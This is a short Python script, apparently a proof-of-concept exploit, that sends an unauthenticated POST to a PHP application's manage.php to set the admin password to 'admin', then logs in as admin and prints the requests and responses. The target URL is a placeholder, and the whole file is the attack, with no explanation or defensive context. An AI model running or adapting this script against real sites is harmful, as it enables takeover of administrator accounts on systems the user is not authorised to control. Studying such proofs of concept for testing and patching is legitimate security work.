import requests

url = 'insert_me/'  # Enter URL

# User creds to update
data = {'username': 'admin',
        'password': 'admin'}

# Set admin password
response = requests.post(url + 'manage.php', data=data)
print(response.request.url)
print(response.request.headers)
print(response.request.body, end='\n\n')
print(response.text, end='\n\n')

# Login
response = requests.post(url + 'login.php', data=data)
print(response.request.url)
print(response.request.headers)
print(response.request.body, end='\n\n')
print(response.text)
